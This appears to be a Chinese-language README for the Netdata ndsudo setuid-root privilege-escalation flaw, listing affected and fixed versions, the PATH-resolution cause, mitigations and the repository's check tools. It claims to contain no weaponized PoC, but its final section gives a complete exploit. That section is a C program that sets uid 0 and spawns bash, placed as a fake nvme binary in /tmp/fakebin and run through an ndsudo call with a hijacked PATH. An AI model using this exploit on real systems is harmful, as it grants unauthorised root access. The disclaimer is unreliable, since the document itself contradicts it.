ndsudo 本地权限提升Netdata 的 ndsudo 辅助程序(安装时为 setuid root)限制它可以运行的命令,但使用调用者的 PATH 来解析这些命令。在受影响版本中,本地用户可以将恶意二进制文件放在 PATH 中更靠前的位置,并让 ndsudo 以 root 权限执行它。已在 Netdata 1.45.3 和 1.45.0-169 中修补。
受影响: >= 1.44.0-60, < 1.45.0-169 和 >= 1.45.0, < 1.45.3(根据上游公告)。
已修复: 1.45.3(稳定版)、1.45.0-169(夜间版)。GitHub
在安装了 SUID ndsudo 且用户可调用它的系统上(通常是 netdata 组成员),可实现本地权限提升至 root。NVDGitHub
ndsudo 是 SUID-root 程序,并白名单允许 nvme-list、nvme-smart-log 等子命令。
它按名称调用外部可执行文件(例如 nvme),这些文件通过 PATH 解析,而不是使用绝对路径或固定安全的搜索路径。
如果可写目录出现在系统路径之前,攻击者可以引入一个仿冒二进制文件,从而以 root 身份执行。GitHub
此仓库包含非利用型检查工具,它们:
检查 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo(或实际安装位置)的 SUID/所有权。
枚举 PATH 中位于常见系统路径之前的可写目录。
确认存在 ndsudo 可能尝试执行的已列入白名单的子命令名称。
(可选)运行 ndsudo --test <subcommand> 来打印解析后的命令而不实际执行(请谨慎使用,先阅读代码)。GitHub
⚠️ 不包含武器化 PoC。本项目供防御者和研究人员负责任地评估暴露风险并验证补丁。
升级 Netdata 至 1.45.3(稳定版)或 1.45.0-169(夜间版)。
作为纵深防御措施,建议在 SUID 辅助程序中使用绝对路径或经过清理的最小 PATH;避免授予不必要的 ndsudo 访问权限。GitHubwiz.io
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list